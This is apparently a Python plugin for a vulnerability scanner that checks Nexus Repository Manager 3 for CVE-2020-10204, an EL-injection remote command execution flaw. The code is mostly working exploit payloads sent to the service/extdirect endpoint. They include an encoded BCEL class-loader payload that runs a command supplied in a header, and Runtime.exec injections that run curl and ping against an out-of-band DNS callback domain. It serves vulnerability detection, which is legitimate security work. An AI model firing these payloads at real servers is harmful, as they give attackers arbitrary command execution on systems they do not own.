#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Nexus Repository Manager 3 远程命令执行
    CVE-2020-10204
        Payload: https://vulhub.org/#/environments/nexus/CVE-2020-10204/
                 https://github.com/aleenzz/CVE-2020-10199

3.21.1及之前版本中, 存在一处任意EL表达式注入漏洞, CVE-2018-16621的绕过
'''

from lib.api.dns import dns
from lib.tool.md5 import random_md5, random_int_1
from lib.tool import head
from lib.tool import check
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.random_str = random_md5(6)
        RCEcommand = 'echo ' + self.random_str

        random_num = random_int_1()
        self.random_num_sum = str(random_num * random_num)

        self.payloads = [
            {
                'path': 'service/extdirect',
                'data': '''{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\C{' '.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$eb$7f$UW$Z$7eN$b2$d9$99L$s$9bd6$9bd$A$xH$80M$80$5dJ$81$96$e5bC$K$e5$S$u$924$YR$ad$93eH$W6$3b$db$d9$d9$Q$d0j$d1Z$ea$adVQ$yj$d1R5$de5$a2$h$q$82h$V$b5$9f$fc$ea7$3f$f6$_$e0$83$3f$7f$8d$cf$99$dd$N$d9d$5b$fc$R$ce$ceyo$e7y$df$f3$3e$ef$cc$db$ef$de$bc$N$60$L$fe$a1$n$IGAVC$N$9cz$$$cfI$89$ab$m$a7$e2i$Nm$f04$e41$n$97$b3$w$s$a5$e4$9c$8a$f3$K$86U$7cR$c5$a74t$e0y$v$fd$b4$8a$cfhX$81$XT$5cP$f0Y$v$fa$9c$82$X5$7c$k$_$a9$b8$a8$e2e$F_P$f1E$V_R$f1e$F_Q$f1$8a$8a$afjx$V_$93$cb$d7$V$5cR$f0$N$N$df$c4e$Nk$f1$z$Nk$f0$9a$82$x$g$ba$e1$c8$cd$b7$e5$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$b1$9f$I$f7$89k$3cQ$b6$e0$3bhg$ec$7b$d8$8d$P$T$e5u$fc$h$8f$a3$87ho$e2_$d8CY$TO$7b$8b$I$7b$88$fd$k$z$9f$c0$5e$b4$f0$e4$8b$d8G$99$c1$f3$cf$e0I$ecG$98$u$Gq$80Q$5b$89$a5$P$87$f8$3fBD$8f$e20$8e$a0$8d$b8bx$KG$d1$$$c6$99$d9G$Y$a5$83$f8t$i$e3$93$89$L$c2$60$f6$3d$dc$e7$c4$g$M$f0$a9$B$n$f1j$89Wm$e2e$3c$cd$e8$C$ab$c4$f38Nm$N$d6$89$b3$f8$u$f1$d5$o$$$iVm$905$ef$V$c38$81a$S$ea$a0$Y$c03$d4$G$d1$_$O$e1c$d4$w$f8$b8$8cD$cfb$b6$cf2$dbb$8e$cf2$c7OP7$8d$fa9$d8hP$60$v$YQ$c0o$80$93$feCh$feA$90$aes$fc$d7$f1$be6$be$b8$a8$99_m$7f$3d$a5$60T$c1$98$82$94$82$d3$c0$7f$b1$8c$9a9$Y$d0$l$U$Q$d8$a3$e0$cc$7f$m$e6$98$j$fc$5dZ$8e$9eq$7f$aed$fe$H$c3$e0$Q$5e$fb$N$A$A').newInstance()}"]}],"type":"rpc","tid":11}''',
                'headers': {'404': RCEcommand}
            },
            {
                'path': 'service/extdirect',
                'data': '''{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\C{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl DNSDOMAIN')}"]}],"type":"rpc","tid":11}''',
                'headers': {}
            },
            {
                'path': 'service/extdirect',
                'data': '''{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\C{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('ping -c 4 DNSDOMAIN')}"]}],"type":"rpc","tid":11}''',
                'headers': {}
            },
            {
                'path': 'service/extdirect',
                'data': '''{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\C{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('ping DNSDOMAIN')}"]}],"type":"rpc","tid":11}''',
                'headers': {}
            },
            {
                'path': 'service/extdirect',
                'data': '''{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\B{NUM*NUM}"]}],"type":"rpc","tid":11}'''.replace('NUM', str(random_num)),
                'headers': {}
            }
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '405b1f856a5cad633f19caf344586cce'

        vul_info = {
            'app_name': 'Nexus',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2020-10204',
        }

        base_headers = {
            'Content-Type': 'application/json',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': client.protocol_domain,
            'Origin': client.protocol_domain,
        }

        for payload in self.payloads:
            md = random_md5()                                       # * 随机md5值, 8位
            dns_domain = md + '.' + dns.domain(sessid)              # * dnslog/ceye域名

            path = payload['path']
            data = payload['data'].replace('DNSDOMAIN', dns_domain)
            headers = payload['headers']

            merge_headers = head.merge(base_headers, headers)

            res = client.request(
                'post',
                path,
                data=data,
                headers=merge_headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if ((check.check_res(res.text, self.random_str))     # * 可以运行命令, 有回显
                or (dns.result(md, sessid))                 # * 可以运行命令, 无回显
                or (self.random_num_sum in res.text)             # * 可以执行EL表达式
            ):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)


def cve_2020_10204_scan(self, clients):
    '''  '''
